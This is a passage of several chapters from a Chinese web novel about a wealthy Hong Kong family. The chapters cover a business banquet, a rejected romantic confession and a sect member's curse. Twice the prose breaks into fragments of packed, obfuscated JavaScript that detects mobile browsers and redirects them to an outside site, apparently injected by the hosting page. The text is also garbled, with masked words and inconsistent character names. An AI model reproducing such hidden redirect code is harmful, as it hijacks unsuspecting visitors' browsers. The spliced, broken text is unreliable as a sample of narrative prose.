王素珍看着他的动作，眼神时而空洞，时而浮现微光，如同徘徊在选择与放弃之间。 鸦先生见她游移不定，伸出另外一只手，轻柔的抚摸她的额头。 “王素珍，你还在留恋什么？留恋那个将你视为棋子、随意牺牲捆绑的世界？留恋那些因你的皮相而或爱慕或厌恶的浅薄目光？” “不，我没有留恋，我只是恨！我恨那些站在高处，像腐蚀蝼蚁一样看我的家伙！”王素珍咬牙切齿的说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434711|184961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >鸦先生高举着手里的**，发出爽朗的笑声。 “那就加入我们的世界！你才能摆脱这具皮囊带给你的所有**与局限。你将学会如何看穿世间一切虚伪的表象，你将掌握真正令人战栗的力量——不仅是剥夺他人皮囊的力量，更是剥离自身弱点，获得永恒‘新生’的力量！这样的力量，你只有真正体会，才能看见它的强大，从而连你也变得强大。” 随着鸦先生的话说完，王素珍在他的笑声里，竟然真的感觉到一股诡异的力量，在她的身体里游走。 使她变得轻盈，麻木，似乎真的感受不到肉体的痛苦，和灵魂的羞辱。 鸦先生俯下身，将面具贴上她的额头，声音压得极低，如同恶魔的低语：“忘记那个无助的、被捆绑的王素珍。迎接你的新生吧…你将拥有新的名号，成为我门真正的核心弟子。你将…理解‘美’的真谛。” 最后几个字，他几乎是吟唱出来的。 王素珍也沉浸在这样极致的解脱中，仿佛灵魂都得到了洗礼。 慢慢的，闭上眼…… “我，愿加入。” …… 宋珍珍在发现**后，便将家里的佣人进行了全盘背调，但凡是来路不明的，或是与外界来往密切的，都被一一辞退。 而被辞退佣人最多的，便是二房的院子里。 不管是以前的老佣人，还是新招来的，都进行了一次大换血。 另外，宋珍珍还让黎墨城亲自带人，将黎家各处都检查一遍，以防止暗藏着‘脏东西’偷偷害人。 做完了这些，宋珍珍将整个黎家都掌控在手里，心也终于得到了安宁。 这天，黎立轩打来电话告知，劳伦斯先生将会带着家人，到家里来拜访，让她做一些准备，招待贵客。 宋珍珍知道此次与劳伦斯家族合作的重要性，特意去请示了老爷和老夫人，与他们商量举行宴会的场地，乃至酒席。 黎老爷考虑到家中孩子孙子辈大多还小，无法支撑起宴会的场面，于是提议另外再邀请两位老友，乃至家里的壮年，过来帮忙撑场子。 宋珍珍等黎老爷确立了人选，立刻张罗写请帖，并带人着手为宴会做准备。 不同于大人的忙忙碌碌，孩子们的生活，总是丰富又多彩的。 恰逢周日，小婉婉被黎墨郢带去了他和黎墨冰的秘密基地。 上个月，黎墨冰特意将这里翻新改造了一遍，将之前的游泳池填满，再用厚厚的沙土铺平，将这里变成一个小型的游乐园，专门供给小婉婉玩耍。 边牧犬韩湘子，经过几天的修养，伤已经好了很多，小婉婉抱着皮球在沙场里玩耍，没一会儿，两个小家伙都弄得满身都是沙子。 黎墨郢洁癖发作，看不得她把自己弄得太脏，让两小只玩了一会儿，就带她们回去清洗。 正好黎墨冰拎着一串车钥匙过来，驾照重考以后，他提了一辆新车。 早前就答应过小婉婉带她出去兜风，今天正好兑现承诺。 “小妹，走，二哥带你上山遛弯去？” 第109章 带不动（一更） 小婉婉一听黎墨冰要带她出去玩，立刻倒腾着小腿飞快的跑来，就连后脑勺的两只小揪揪，都雀跃得像两只飞舞的小燕子。 她一把抱住黎墨冰的长腿，小声音清脆如莺啼：“太好了二哥哥，去兜风，走。” “好，走！”黎墨冰一把将小婉婉抱起来，望着黎墨郢那张不爽的臭脸，他笑着发出邀请：“阿郢，那要不要跟我们一块儿去？” “就你的车技，我信不着！” 黎墨冰还以为他这是在拒绝，刚要道一句‘那好吧’，又听黎墨郢说：“我不去，谁照顾婉婉？” 黎墨冰：“……” 这意思就是要去？ “那就走吧。” 黎墨冰的新型敞篷座驾，正是刚刚在港城上市的R系轿跑，配备了先进的V6涡轮增压发动机，数字化仪表盘和跳灯设计，科技感和未来感十足。 其成熟又豪华的高性能，被富家公子哥们抢破了头，黎墨冰也是厚脸皮求黎立轩拖人情，才给他买到一辆。 小婉婉一看到它红色的车身，眼睛“唰”地一下睁得溜圆。 小小的嘴巴无意识地张成了一个完美的“O”型，发出“哇——”的一声。 “怎么样？这辆车带劲儿吧？”黎墨冰得意的看着黎墨郢。 随即他抬手将小婉婉抱进了后座，示意黎墨郢：“你跟婉婉一起坐后面。” “你慢点开。”黎墨郢上车前叮嘱，当然，也只是一句叮嘱，以他现在的修行，就算发生什么意外，他也能为三人的安全兜底。 盘山公路像一条灰白色的绸带，缠绕在苍翠的山间。 黎墨冰打开了音乐，伴着强有力的节拍和伴奏，享受得哼起了歌。 后座上，小婉婉的小脑瓜总是控制不住的想要探出车窗，又被黎墨郢牢牢的按在座椅上。 只有一双大眼睛，迎着细密的暖风，惬意的眯了起来。 “三哥哥快看，有彩虹。”小孩子总是对大自然的美好充满了兴趣，她兴奋的声音被风吹散，但仍然能够听得很清楚。 黎墨郢顺着她的手指看去，不由的说起他在内地修行时见到的美景。 “这算什么？我连极光都见过。” 黎墨郢两次修行，都在北方的极寒地区，上一次是在长白山脉附近，这一次，则是去了冰岛。 其一是为了锤炼他的体魄，其二则是为了更好的驾驭灵力。 “那极光比彩虹好看吗？”小婉婉被他吸引了注意力，好奇的问。 黎墨郢摸了摸她的头：“当然好看，等到以后有机会，我带你去看。” “好呀！”小婉婉重重的点头，就这么跟黎墨郢完成了一个约定。 随着车子驶入盘山路，黎墨冰也厌倦了这么不疾不徐的跑，他告诉黎墨郢给她和小婉婉系好安全带，踩下油门。 嗖！ 敞篷跑车在不断的提速中，接近了百码，黎墨郢怕小婉婉害怕，将她和安全带一并紧紧的搂进怀里。 但是小丫头似乎并没有一点儿恐惧，反而显得很兴奋。把头拱了出来。 “车车跑的好快，二哥哥加油！” 黎墨冰一听到妹妹给他加油，那还磨蹭什么，黎墨冰直接一脚油门踩到底。 山上吹来的风飞速掠过面颊，由于车速太快，小婉婉头上的小辫子都快被吹散，柔软的头发转眼就变成一头呆**。 黎墨郢无奈又好笑，捂住她的头，叮嘱：“坐好，别乱动。” 开车的黎墨冰从后视镜里看到这一幕，嘴角牵起一丝不易察觉的弧度，正要准备将车速放慢一些。 一阵激荡的引擎轰鸣声，并不是一辆车，而是一群。 黎墨冰如果是自己开车，或许还有兴趣飙一彪。 但是顾及着车里的黎墨郢和小婉婉，为了安全起见，将车子靠边走，给那些车辆让路。 后视镜里，首先出现的是几道颜色鲜艳、造型夸张的身影，几乎全都是享誉世界的名牌跑车。 它们很快追了上来，并排行驶时，能清晰地看到车里那些穿着时髦、神情兴奋的年轻车手。 其中一个车手，还对他吹了声响亮的口哨。 “嗨，黎二少，咁有兴致嚟游车河？” 【嗨，黎二少，这么有兴致出来兜风？】 黎墨冰认出了对方，是詹妮弗·劳伦斯在港城的狐朋**，在这里见面，说明很有可能后者也在车队里。 果不其然，伴随着火车的快速鸣笛，前面的车子开始让路。 一辆黄色的保时捷跑车与黎墨冰并排行驶，金发碧眼的美艳西方女子，对黎墨冰挥手示意他停靠。 黎墨冰只好踩下刹车，将车子停在路边。 “奥！看这是谁？黎墨冰，你来兜风怎么不叫我？” 金发女郎穿着黑色的紧身机车服，身姿婀娜的走过来，她语气熟稔得就像相识了多年的老友，手轻轻搭在黎墨冰的肩膀上。 黎墨冰礼貌颔首，解释道：“我带弟弟妹妹们出来玩，怕影响你的兴致，才没叫你。” “你太客气了，他叫什么名字，和你大哥长得可真像。” 宅妮弗惬意的抱起了手臂，目光看向身后的二人，当然，她更多的注意力，还是留给与黎墨城八分相似的黎墨郢。 黎墨冰回答：“他叫黎墨郢，是我大哥一母同胞的三弟，所以很像。” 宅妮弗挑了挑眉，对于港城男子可以娶很多个老婆的行为，感到非常不理解，也无法接受。 “哦，怪不得，你们港城人的作风真该进行修正，一个男人娶几个老婆，在我们国家会触犯法律。”宅妮弗一边翻白眼，一边摊开双手。 这时站在一旁的人插话道：“那是多年以前的传统，现在的港城，也实行一夫一妻制。” “奥，那还不错。”宅妮弗似乎很喜欢这个答案，她看向黎墨冰，主动发出邀请：“我让我爸爸在山上给我盖了栋别墅，走吧。一起去坐坐，我带了你们港城人最喜欢吃的茶点，还有三明治，刚好也有几位新朋友，介绍你们认识一下。” 宅妮弗说完就走向跑车，完全不给黎墨冰拒绝的时间。 当然，这也是她一贯的作风，用黎墨冰助理的话来说，在宅妮弗的圈子里 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饶是在场的都是富家公子哥，可是听了这话，都禁不住抖落一身鸡皮疙瘩。 内心默默的说一句：凡尔赛。 随着宅妮弗邀请众人就座，佣人呈上茶点和三明治，大家便开始了热闹的交谈。 话题从最新的投资风向延伸到某些人的轶事，言谈间机锋暗藏，又保持着恰到好处的风趣。 唯独黎墨郢，他虽然身高挺拔，但尚且稚嫩的容颜，仍然能够让人清晰辨认他的年纪。 他从进门就未发一言，仿佛游离在核心社交圈之外。 注意力完全放在穿着精致的小裙子，捧着一块三明治大快朵颐的小婉婉身上。 在发现她唇角沾到沙拉酱的时，他动作自然的拿起方巾，给她擦拭干净。 宅妮弗的视线不由自主地定格在黎墨郢的侧脸上，那张脸，尤其是眉眼和下颌的线条，真的是像极了那个人——黎墨城。 不愧是兄弟俩，就连气质都一样。 她记忆中黎墨城那张总是冷峻、疏离，仿佛对一切都漠不关心，每次她组织邀请聚会，他都是能找到各种借口，从不出席。 他们明明同窗过两年，可是再见面，黎墨城给她的感觉，疏远的完全不像老同学。 但宅妮弗却并不生气，因为她知道，黎墨城就是那样的脾气，他不光是对自己疏远，对身边一切的异性，都是相同的态度。 “嗨，小男孩儿，你妹妹喜欢吃三明治，我让佣人再给她拿来一块。”宅妮弗笑着对佣人招手。 佣人刚要答应，就见气质清冷的少年，抬起头，淡淡的看来：“不必，一块儿就够了。” “没关系的，这些东西我家里多得是，玛丽，你快去给小朋友拿一块过来。” 宅妮弗自顾的吩咐佣人，黎墨郢不满的抿起唇角，黎墨冰怕他发牢骚，让宅妮弗丢面子，在桌下踢了他一脚。 没想到黎墨郢还是坚持，冷然的开口：“我说不必，一块就够了。” 黎墨冰：“……” 带不动！ 第110章 城（二更） 在所有人都在配合宅妮弗·劳伦斯，力图逗她开心的时候。 少年一句硬邦邦的反驳，显得非常突兀，让她精灵般的容颜，都僵硬了起来。 周围几个在谈笑的人都收了声，目光惊疑不定地在黎墨郢和宅妮弗之间徘徊。 有人面露担忧，谁不知道劳伦斯小姐脾气难以捉摸，黎家二少带来的这个弟弟，当众下脸让人难堪，怕是要影响到两个家族建立契约。 其他则都是单纯爱看热闹的人，幸灾乐祸的看着黎墨冰，似乎是想要看看，向来处事圆润的他，要怎么收场。 黎墨冰眉头微蹙，但并未立刻出声，而是默默观察着劳伦斯，依照她的反应，来做出相对应的策略。 这也是他深谙交际之中的道理，越是遇到冲突，越不能慌，而是要见招拆招，从容应对。 然而，出乎所有人意料之外的是。 宅妮弗·劳伦斯在愣了几秒钟后，忽然轻笑了起来，打破了这个僵局。 她甚至还随意地摆了摆手，语气轻松的告诉佣人：“那就不用了。” 随即，她又看向黎墨郢，带着仿佛姐姐谦让弟弟的宽容语气，说了句：“真是个酷酷的小男孩。” 剑拔**张的氛围，就这样被化解。 众人都暗暗松了口气，继续刚才的闲聊。 黎墨冰也适时的站起身打圆场：“抱歉，宅妮弗，我弟弟他脾气固执，你不要跟他计较。” “没关系。”劳伦斯与黎墨冰的牛奶杯碰在一起，而后继续与众人谈笑风生。 只是她的目光，还是会有意无意的落在黎墨郢那边。 再后来，她没有加入任何人的谈话，静静的靠着椅背，看着被黎墨郢专心照顾的小姑娘。 明明她心里再清楚不过，那个孩子只是黎墨城的弟弟，而且他的脾气似乎比他的哥哥还要固执。 可她就是有些看不惯这幅画面。 看着别人顶着与他极度相似的脸，对其他异性温柔，非常刺眼。 哪怕那只是一个连话都说不清楚的黄毛丫头，宅妮弗觉得自己简直疯了。 竟然会吃这种可笑的飞醋。 …… 黎家。 不同于大房每日生机薄薄、充实热闹的景象。 吕洁芳所在的二房，一片乌云笼罩。 黎立正望着不能行动，也无法说话，还每天在床上折腾个不停的母亲，心口被压了一块沉沉的大石头，无法喘息。 他直到今天才有时间带她去医院做了详细的检查。 检查的结果根本就没有异常，医生怀疑吕洁芳产生的症状，是她的心病。 黎立正便给吕洁芳从国外请来心理医生，但是吕洁芳拒绝配合治疗，她非要用笔在纸上写下‘是诅咒、黎墨郢’这些字。 黎立正觉得根本就是天方夜谭。 就算黎墨郢那天来院，最多也是将她恐吓一番，把她吓住了。 他真能拿着吕洁芳写下的这写东西，找黎墨郢算账？ 若让老爷子知道他跟一个孩子津津计较，少不得要把他训斥一番，何况还是母亲招惹对方在先。 黎立正就算不在家，但家里发生的一切，他都了解得一清二楚，王素珍之前对她的交代，也是他们夫妻二人商量出来的结论。 “妈，你能不能安分些，你到底想我怎么办？” 吕洁芳颤颤巍巍的拿着纸笔，颤抖的写下两个字：驱邪。 她是被黎墨郢诅咒的，邪气入侵，驱邪就一定能好！ 吕洁芳一天也忍受不了窝吃窝拉的日子，不能说话，她都快要憋**。 黎立正看着纸上歪歪扭扭的字，知道自己拗不过，只好去找王素珍，让她找几个懂法术的大师，过来走个过场。 王素珍昨日才见过鸦先生，正式拜入剥皮门。虽然不能直接把这件事告诉丈夫，但可以潜移默化的让他相信，这个世界存在玄学。 “阿正，你知道老爷子从来不信玄学术术，现在不光敬畏，还让黎墨郢拜了师傅。你知道这代表什么吗？妈跟你说的，一点都不夸张，她变成这个样子，就算不是黎墨郢自己干的，也跟他院子里那个姓祁的人逃不了关系！” 黎立正陷入短暂沉默。 他在思考王素珍的话，思考它的可能性。 过了许久，他发出长叹：“就算真有这些事，以我们的地位，又能去计较吗？” 要知道他在这个家里，连一点抗衡的资本都没有！ 王素珍知道，自己的那些话，黎立正听进去了，就这样一点一点引导，不愁激不起他的斗志。 “我知道你很委屈，在这个家里有很多事无能为力。阿正，有件事我没让她们告诉你，你知道吗？我大哥葬礼结束那天，王素珍带着人冲到院子里，指责我在黎家哭丧，扒光了我的衣服，捆住手脚，还将我的嘴堵住，将我关在屋子里整整一夜。” “什么？”黎立正确实没有收到任何消息。 因为宋珍珍下令，那些人真的不敢去，王素珍陪嫁过来的佣人想要通知黎立正，其他佣人怕被她牵连，将她叩在了院子里，硬是等到天亮，才放出王素珍。 而王素珍被放出来后，急着拜师，不愿把事情闹大，就没有让佣人再提起这件事。 她选择在这个时候告诉黎立正，就是要在干柴上，加一把烈火。 “大嫂她为何这么对你？”黎立正等了半天不见答复，生气的追问。 王素珍苍凉的笑着，从椅子上站起身，缓缓走到窗口。 “也许单纯的看不惯我，毕竟她作为这个家里的女主人，想做什么都是不需要理由的，还有你看看院子里……这些佣人都是她亲自选的，我们今天的每天，都会活在她的监视下，没有任何隐私可言。” “这太过分了！”黎立正拍案而起，被压制了多年的郁，在这一瞬间翻腾，让他眼睛里浮动起了强烈的挣扎。 王素珍不再说什么，冷静的看着，黎立正的野心被唤醒，直到，他勇敢的踏出第一步。 …… 傍晚时分。 屹立于山腰的黎家庄园，宛若在半空中点亮的璀璨明珠，耀眼又夺目。 今天便是黎立轩携手家人，正式邀请劳伦斯家族成员，到家中做客的日子。 黎老爷和黎老夫人邀请了两位老朋友，带着家中杰出的青年，前来帮忙压场。 众人一聚在一起，便是寒暄说笑。 黎家的子孙后代，与老友家的后生们也都相熟，唯独后 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待初步的客套结束，长辈们聚在一起洽谈，晚辈们也自发的开始了聚会。 宅妮弗提着裙摆，想要与目光之中那抹高大的身影靠近。 只可惜他很开就被长辈叫去说话，詹妮弗想要单独跟他说话的期待落空，只好跟在他后面，加入长辈们的谈话之中。 父辈们在谈论着合作、市场、家族未来，宏大的话题在耳边嗡嗡作响，而宅妮弗的注意力却无法从男子的侧脸上移开。 直到劳伦斯夫人叫了她第三声，宅妮弗才回过神来。 “宅妮弗，她们男人的话题实在太无聊了，你跟我去陪宋女士聊会儿天。”母亲拉着她的手退出了人群。 宅妮弗不在商场，并不理解母亲的用意，单纯以为她是真的无聊。 不过她想到以后要跟黎墨城交往的话，就要跟他的家人搞好关系，于是很配合的跟母亲见宋珍珍。 就在劳伦斯夫人带着女眷离开不久，在场的男士们正式落座，为了同一个目的进行交流。 而宋珍珍心里清楚，今天的聚会看似巩固两家关系，实际上，是劳伦斯家族过来考察，打探虚实。 他们只要在今天，得到劳伦斯家族的信任，很有可能一口气签下合同。 宋珍珍抱着十二分的精神，与劳伦斯夫人交流，还有今天来到黎家的其他人，也都各司其职，努力的维护着这场宴会进行。 除了只有三岁半的小婉婉，此刻，正在黎墨郢和另外三位哥哥的陪同下，在儿童桌上，专心的吃着甜品…… 忽然，男人堆里传出欢呼的笑声，混着热烈的掌声，吸引了全场的目光，都向那边看去。 透过人群的缝隙，似乎能够看见，劳伦斯先生与黎立轩的手紧紧相握。 黎墨城手执一份文件，默默退出人群。 詹妮弗发现黎墨城离开，本能的放下手里的香槟，一边端着高雅的仪态，一边压着加速的心跳，沿着脚步追了过去。 “城！”宅妮弗开口呼唤。 在黎墨城回头的那一刻，她的心快要跳到了嗓子口。 “城，我们能谈谈吗？” 第111章 让你掉泪的男人配不上你的真心（一更） 宅妮弗自己都没察觉，她和黎墨城说话时轻柔的语气，仿佛高傲的女王摘下了王冠，化身为一位平凡追爱的普通女子。 黎墨城闻声，缓缓转过身，神色平静无波：“劳伦斯小姐。” 他微微颔首，礼节周全，将距离感拿捏得恰到好处。 宅妮弗望着他清冷的面孔，就像是有一只手，无形的拒绝了她想要亲近的渴望。 她的眼神浮现几分失落，嗓音都压低了些：“城，我们是同学，其实你可以不用说话这么客气的。” “好，宅妮弗。”黎墨城露出平和的微笑，回到同学的身份，自然的与她相处。 他的配合，让宅妮弗眼底消散的光重新**，她向前了几步，雀跃的与他并肩站立。 “城，你什么时候有空，我能不能请你吃饭？我的意思是，只要我们两个人，我有些心里话，想告诉你。” 她目光灼灼地看向他，眼中毫不掩饰那份欣赏与期待，完全符合西方人的直白作风。 黎墨城迎着她热烈的眼神，自然知道她的目的是什么。 而这么长时间，面对她的邀请，他一直逃避没有做出回应，就是不想影响到两家的合作。 直到刚才，父亲与劳伦斯先生已经正式达成共识，并签署了合同，代表着合作正式成立。 他也终于松了口气，能给她一个明确的态度。 黎墨城知道自己这样，显得有些过河拆桥，可终究好过让她抱着不切实际的幻想要好。 他调整了一下心情，力求用不伤害她内心的方式，柔和回应。 “宅妮弗，你欣赏我，是我的荣幸。不过我可能要让你失望，我目前的生活重心全部放在工作上，恐怕挤不出时间。” “这太夸张了吧，城，你难道连吃顿饭的时间都没有？”宅妮弗脸上的笑容凝滞了一瞬，眼中的光彩微微黯淡。 她明白，黎墨城是在委婉的拒绝自己。 可她不想这么轻易的放弃，她抬起双手，反复强调：“只是一顿饭，我跟你说几句话而已，就几句。” 宅妮弗说完意识到自己有些着急，她在生活中很少被人反驳，黎墨城是特别的存在，她并不生气。 只是怕他连一个机会都不肯给自己。 只是黎墨城微蹙的眉头，与眼神中的沉默，让她心底燃烧起的火苗，不断熄灭。 他总是这样，碰到不愿意回答的问题，就会不说话。 宅妮弗觉得自己就像一个尴尬的小丑，好笑的耸了耸肩膀，试图让自己变得自然一点儿。 “好吧，我承认，我是有点紧张，城，从我第一次见到你，就被你深深吸引，我想……你能不能给我一个机会？我很期待能和你约会，别急着拒绝，你知道的，我这个人脾气不太好，你……好好考虑看看。” 宅妮弗说完，转身仓皇的逃窜。 由于没看清路，险些被脚下的石头绊倒，懊恼地用手抓了抓棕黄色的长发。 “听听，你都说了什么，你的表现简直糟糕透了！” 宅妮弗自顾自的说着，宴会近在咫尺，她想着自己只要走快一点，就能忽略掉刚才发生的现实。 可身后还是传来男人低沉的嗓音：“宅妮弗。” 宅妮弗停下脚步，眼圈开始泛红，猛地转过头，看向那高大冷峻的男子。 “城，你真的要这么急着拒绝我？” 黎墨城缓步走到她面前，从怀里掏出手帕，绅士的递给她。 “任何一个让你掉泪的男人，都配不上你的真心。” 宅妮弗听到这句话，再也控制不住翻涌的泪水，噼里啪啦的滚落脸颊。 然而哪怕她已经这么难过，他都没有丝毫替她擦眼泪的打算。 “我明白了。”宅妮弗接过手帕，擦掉眼泪的那一刻，她眼神里炽热的光彻底熄灭，瞬间，做回了高傲的女王。 “城，你的冷漠真的让我难过！” …… 砰。 五彩斑斓的烟花在天空中炸响，正是黎家人为了表达对劳伦斯家人的欢迎，特意在宴会中途，增添的节目。 小婉婉看见头上炸开漂亮的烟花，立刻放下了刀叉，高兴的拍起了小手。 “三哥哥快看，花花在天上，四哥哥看！” 黎墨黔兴奋地站起身：“哇，好漂亮啊！小妹，我们去那边，近看一定更好看！” “好。”小婉婉弯起小嘴儿，立马好吃的也不要了，拉着黎墨黔的手，就要下地。 黎墨郢今天的主要任务就是负责保护她的安全，在她跑开的时候，也跟着缓步慢走，时刻让她保持在自己的视线范围内。 随着大朵大朵的烟花炸开，场内的所有人都停止了交流，举目望着天边盛放的星火。 唯独一个人，她伤心的捂着脸，从黑暗的甬道中走出，对天空美好的景色视而不见。 “三哥哥，精灵姐姐哭了。”此时，小婉婉正骑在黎墨郢的脖子上，在她的高度，正好看见从人群中穿过的身影。 她认得宅妮弗，就是那天在山上见到的精灵姐姐，由于她的名字太长了，小婉婉忘记了。 黎墨郢顺着小婉婉的目光看去，只见一道湛蓝的身影退出场外，认出那是劳伦斯家族的千金。 想到劳伦斯是家里的重要客人，如果在家中出事，那么势必会引起不小的麻烦。 黎墨郢看向旁边的三个弟弟，挑选了比较靠谱的黎墨羽。 “你去告诉二哥，劳伦斯小姐往后山走了。” “好，我知道了。” 黎墨羽很快就找到了黎墨冰，彼时，他正因为优异的样貌，被劳伦斯家族的几位姑娘缠得难以脱身。 黎墨羽过来找他，才将他解救出来。 得知宅妮弗哭着离开会场，黎墨冰猜到了什么，不敢耽误，立即沿着方向去寻找。 最后，他在后院的池塘附近，发现了正哭得伤心的女子。 黎墨冰沉沉的叹了口气，缓缓的走了过去。 “宅妮弗，你还好吗？” 宅妮弗听见黎墨冰的声音，立刻擦掉脸上的泪，不过仍然掩饰不掉哭红的眼圈。 “我没事！” 因为被黎墨城拒绝，她现在对黎家人没有一丝好感，语气都是冷冰冰的。 好在黎墨冰最近常与她接触，对她也算了解。 知道她是在闹情绪。 “宅妮弗，其实，你对我大哥的心意我知道，今天，是不是他让你难过？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434714|184961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宅妮弗的窘迫被挑明，蓝色的眼睛里闪过一抹痛苦。 “你知道还问，是在嘲笑我吗？” 黎墨冰赶忙摇头。 “不，我没有嘲笑你，宅妮弗，相反，我很佩服你的勇气，你是个勇敢的女孩子，我们花国有句古话：人生不如意，十之**。很多人明白这个道理，却连为自己争取都不敢。” 黎墨冰看似在安慰宅妮弗，实际上，又何尝不是说给自己听。 曾经的他，因为母亲的所作所为，一直生活在尴尬的处境，后退不了，却也没有往前迈出一步的勇气。 正是因为遭遇过挫折，才让他有这么多的感悟。 此刻用来安慰詹妮弗，倒也体现出真诚。 宅妮弗的情绪果然得到了缓和，不过她的神色依然难过。 “勇敢又能怎么样？你哥哥他根本就不接受我的心意，连一个机会都不给我！” 黎墨冰嘴角抽了抽，他知道大哥那个直男，迟早要让人家伤心。 可他怎么也没想到，会来得这么快！ “哎，你一直知道他的为人，他那个人没什么情商，也从来不会讨女孩子欢心。宅妮弗，他让你这么难过，连我都看不下去，这样，我现在去替你打他一顿出气！” 黎墨冰一边说着，一边露胳膊挽袖子，力求把‘大义灭亲’的戏码演得足够逼真。 宅妮弗以为黎墨冰真的要去找黎墨城的麻烦，立刻跑过来，拦住他的去路。 看着黎墨冰义愤填膺的表情，是真的把她当成朋友了，不由产生了几分欣慰。 “冰，谢谢你，但是这样做没什么用，算了，我以后都不会再去打扰城，我放弃了，我们回去吧。” 黎墨冰见她主动提出回去，终于松了一口气。 “好，宅妮弗，不管到什么时候，我都是你的朋友。” “谢谢。” 黎墨冰陪着宅妮弗往宴会场地走，天上的烟花已经停止，象征着这一场聚会也进行到了尾声。 彼时，劳伦斯先生正准备离场，和夫人到处寻找突然不见的女儿。 “爸爸！”宅妮弗见到父亲，就扑到他宽阔的怀里，像一个受了委屈的孩子，寻求安慰。 不过很快她就注意到周围的目光，向来高傲的她，不想让大家看到她狼狈的一面。 于是调整好了表情，优雅的挽着父母的手臂离开。 就在黎家人全都忙着将劳伦斯家族成员妥善送走，乌黑不见光亮的灌木丛下，一道仿佛与黑夜融为一体的身影悄然出现。 而这人出现的位置，也正是黎墨冰带着宅妮弗回来的那条小路。 她目光定定的望着离开的湛蓝色身影，眸色晦暗，酝酿出数不胜数的计谋。 直到再也看不见劳伦斯家族的人，她收回目光，准备折身往回返，却听到背后突然传来一阵抱怨。 “劳伦斯家族的人明明就期盼着合作，还要借做客之名过来喧宾夺主，我看就是习惯了摆贵族的谱，喜欢让人捧着！” “你们说什么？” 王素珍听到这话，震惊的从甬道里走了出来。 既然黎立轩与劳伦斯家族已经达成了合作，那她刚才做的那些，岂不是要白费？ 第112章 最后的狂欢（二更） “王、王夫人，您怎么在这里？吓了我们一跳。” 佣人们被突然窜出来的人吓的，一个个脸都白了。 王素珍却顾不得许多，抓住其中一个追问：“你说劳伦斯先生答应了合作，已经签合同了吗？” “签了，当场签的，今天来的客人亲眼见证！”佣人回了一句。 王素珍不敢表现出愤怒，强迫自己露出震惊之余的大喜，笑着说：“这真是一件好事！” 转过身，她差点把一口牙都给咬碎了。 王素珍回到院子里，望着手里的半块**，陷入了犹豫中。 今日黎家声势浩大的宴请劳伦斯家族，各个细节都有专人看管，且还勒令二房所有人不准露面，将现场保护的密不透风。 王素珍找不到机会搞破坏。 但她也不甘心什么都不做！ 之前他无意从黎墨尘口中得知，劳伦斯家族的小姐暗恋黎墨城，而黎墨城对她却没有男女之情。 于是王素珍就凭着从鸦先生那刚学来的推理法，算出黎墨城桃花印显现，于是她天刚刚黑就出门，在可以活动的范围内守株待兔。 没想到还真的让她碰到被伤了心的劳伦斯小姐！ 王素珍便过去安慰了几句，也趁机在她身上动了点手脚。 接下来她只要念几句口诀，催动劳伦斯小姐的悲伤情绪，将它无限放大。那么她就会因为爱而不得，对黎墨城产生恨意，从而破坏劳伦斯家族的合作。 可是她没想到，他们的合作已经成了！ 王素珍气得将手里的**捏变了形，不，两家的合作也才刚刚开始而已，还不够稳固！ 王素珍坚定的竖起手指，念出了一段咒语。 …… 劳伦斯家族的车辆，先后行驶在公路上。 与父母坐在一起的劳伦斯小姐，本来已经平复下来的心情，忽然一阵烦躁。 她的脑海里莫名钻入一些画面，是她最不想看见的，黎墨城与其他异性亲近。 劳伦斯的心脏被这些画面刺痛，抑制不住的，发出一声呜咽。 “宝贝，你怎么了？”劳伦斯夫人侧头询问。 宅妮弗望着母亲关切的面庞，一把扑到她怀里。 “妈妈！” 劳伦斯夫人在宴会上就发现她不对劲，于是让司机加快速度，快一点回家。 宅妮弗一进家门，就抓着母亲的手，哭得不可抑制。 “妈妈，我想回去，回到我们的国家，我不想在这里……” “宝贝，你说什么？你爸爸的生意才刚刚谈成，我们现在不能回去。”劳伦斯夫人不解的看着女儿。 宅妮弗却满脑子都是黎墨城与别人恩爱的画面，甚至连他与别人婚后生子的场景都那么生动。 宅妮弗接受不了，她扑到父亲面前，抓着他的手恳求：“爸爸，我们回去吧，我不喜欢花国，不想留在这里。” 劳伦斯先生搞不懂女儿到底在发什么疯。 会在这么关键的时候，拖他的后腿。 “你不是一直都好好的吗？还让我给你买了别墅，宅妮弗，我刚刚与黎家建立合作，这不是儿戏！我不能同意你的要求，你一直都太任性了，应该改一改！” 宅妮弗从小到大，从来没有被父亲这样凶过。 见父亲这么严肃的斥责自己，本来就受伤的心灵，再一次受到打击。 “您根本就不爱我，你的眼里，只有你的生意和那些臭钱！” 宅妮弗哭着跑出了别墅。 劳伦斯夫人叫了好几声，都没能将她唤回去。 “拜伦，你疯了吗？你刚才竟然凶了我们的宝贝女儿？” 劳伦斯先生板着脸，固执的坐了下去。 “你太纵容她了，这样只会将她无休止的宠坏！” …… 深夜，一家会员制爵士酒吧的角落。 灯光暧昧，空气中弥漫着威士忌、雪茄和一丝颓靡的气息。 宅妮弗·劳伦斯独自坐在最里面的卡座，面前的水晶烟灰缸里已经堆满了烟蒂，手边那瓶价格不菲的单一麦芽威士忌也下去了大半。 表白失败的她，褪去了白天的光芒四射，身上昂贵的礼服也被她毫无顾忌的蹭出了褶皱，精心打理的头发散落着，眼神迷离，带着被酒精浸泡过的挫败和颓废。 她的脑海中，仍然不断浮现黎墨城与其他异**往的画面，宛若梦魇一样折磨着她。 她又仰头灌下一杯，琥珀色的液体灼烧着喉咙，却暖不了那颗发凉的心。 就在她准备再倒一杯时，一个身影无声无息地出现在卡座旁。 